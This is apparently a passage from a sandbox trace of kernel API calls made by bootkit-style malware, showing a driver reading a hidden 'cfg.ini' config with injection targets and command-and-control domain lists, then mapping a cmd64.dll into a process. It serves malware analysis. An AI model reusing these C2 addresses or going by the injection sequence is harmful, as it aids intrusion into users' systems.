FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0085.280] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0085.280] KeEnterCriticalRegion () [0085.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.280] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0085.280] IdePortDispatch () returned 0x103 [0085.280] KeWaitForMutexObject () returned 0x0 [0085.280] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0085.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.280] KeLeaveCriticalRegion () [0085.280] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.280] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0012af0f0 [0085.280] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0085.280] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0085.280] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0085.280] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0085.280] ZwReadFile (in: FileHandle=0xffffffff8000044c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0012af0f0, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0012af0f0*) returned 0x0 [0085.280] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0085.280] KeEnterCriticalRegion () [0085.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.280] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035eb0f0 [0085.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003648530 [0085.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0085.280] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0085.280] IdePortDispatch () returned 0x103 [0085.287] KeWaitForMutexObject () returned 0x0 [0085.287] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0085.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003648530 [0085.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0085.287] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0085.287] IdePortDispatch () returned 0x103 [0085.287] KeWaitForMutexObject () returned 0x0 [0085.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.287] KeLeaveCriticalRegion () [0085.287] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.287] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0085.288] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0085.288] strncpy (in: _Dest=0xfffffa800378e654, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0085.288] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0085.288] ExFreePoolWithTag (P=0xfffff8a0012af0f0, Tag=0x0) [0085.288] ZwClose (Handle=0xffffffff8000044c) returned 0x0 [0085.288] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0085.288] KeEnterCriticalRegion () [0085.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.288] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80018ab040 [0085.288] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa800378e300, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0085.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.288] KeLeaveCriticalRegion () [0085.288] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.288] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0085.288] KeEnterCriticalRegion () [0085.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.288] ExFreePoolWithTag (P=0xfffffa8003792170, Tag=0x0) [0085.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.288] KeLeaveCriticalRegion () [0085.288] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.288] KeStackAttachProcess (in: PROCESS=0xfffffa800378fb30, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa800378fb30, ApcState=0xfffff88002f9da58) [0085.288] _snwprintf (in: _Dest=0xfffffa800378e44c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0085.288] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0085.288] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff8000044c, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0085.288] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0085.288] KeEnterCriticalRegion () [0085.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.288] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0085.288] IdePortDispatch () returned 0x103 [0085.288] KeWaitForMutexObject () returned 0x0 [0085.288] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0085.288] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0085.289] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0085.289] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0085.289] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0085.289] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0085.289] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0085.289] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0085.289] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0085.289] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0085.289] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036b8330 [0085.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.289] KeLeaveCriticalRegion () [0085.289] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.289] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff8000044c | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0085.289] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0085.289] KeEnterCriticalRegion () [0085.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.289] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0085.289] IdePortDispatch () returned 0x103 [0085.289] KeWaitForMutexObject () returned 0x0 [0085.289] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0085.289] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0085.289] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0085.289] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0085.289] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0085.289] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0085.289] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0085.289] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0085.289] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0085.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.289] KeLeaveCriticalRegion () [0085.289] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.289] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff80000448, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0085.289] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0085.289] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0085.289] KeEnterCriticalRegion () [0085.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.289] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b05000 [0085.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.290] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.290] IdePortDispatch () returned 0x103 [0085.290] KeWaitForMutexObject () returned 0x0 [0085.290] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0085.290] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0085.290] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0085.290] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0085.290] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0085.290] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0085.290] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0085.290] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0085.290] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0085.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.290] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.290] IdePortDispatch () returned 0x103 [0085.290] KeWaitForMutexObject () returned 0x0 [0085.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.290] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.290] IdePortDispatch () returned 0x103 [0085.290] KeWaitForMutexObject () returned 0x0 [0085.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.291] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.291] IdePortDispatch () returned 0x103 [0085.291] KeWaitForMutexObject () returned 0x0 [0085.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.291] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.291] IdePortDispatch () returned 0x103 [0085.291] KeWaitForMutexObject () returned 0x0 [0085.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.291] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.291] IdePortDispatch () returned 0x103 [0085.291] KeWaitForMutexObject () returned 0x0 [0085.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.292] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.292] IdePortDispatch () returned 0x103 [0085.292] KeWaitForMutexObject () returned 0x0 [0085.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.292] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.292] IdePortDispatch () returned 0x103 [0085.292] KeWaitForMutexObject () returned 0x0 [0085.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.292] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.292] IdePortDispatch () returned 0x103 [0085.292] KeWaitForMutexObject () returned 0x0 [0085.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.292] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.292] IdePortDispatch () returned 0x103 [0085.292] KeWaitForMutexObject () returned 0x0 [0085.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.293] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.293] IdePortDispatch () returned 0x103 [0085.293] KeWaitForMutexObject () returned 0x0 [0085.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.293] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.293] IdePortDispatch () returned 0x103 [0085.293] KeWaitForMutexObject () returned 0x0 [0085.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.293] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.293] IdePortDispatch () returned 0x103 [0085.293] KeWaitForMutexObject () returned 0x0 [0085.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.294] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.294] IdePortDispatch () returned 0x103 [0085.294] KeWaitForMutexObject () returned 0x0 [0085.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.294] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.294] IdePortDispatch () returned 0x103 [0085.294] KeWaitForMutexObject () returned 0x0 [0085.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.294] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.294] IdePortDispatch () returned 0x103 [0085.294] KeWaitForMutexObject () returned 0x0 [0085.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.295] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.295] IdePortDispatch () returned 0x103 [0085.295] KeWaitForMutexObject () returned 0x0 [0085.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.295] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.295] IdePortDispatch () returned 0x103 [0085.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.295] KeInitializeEvent (in: 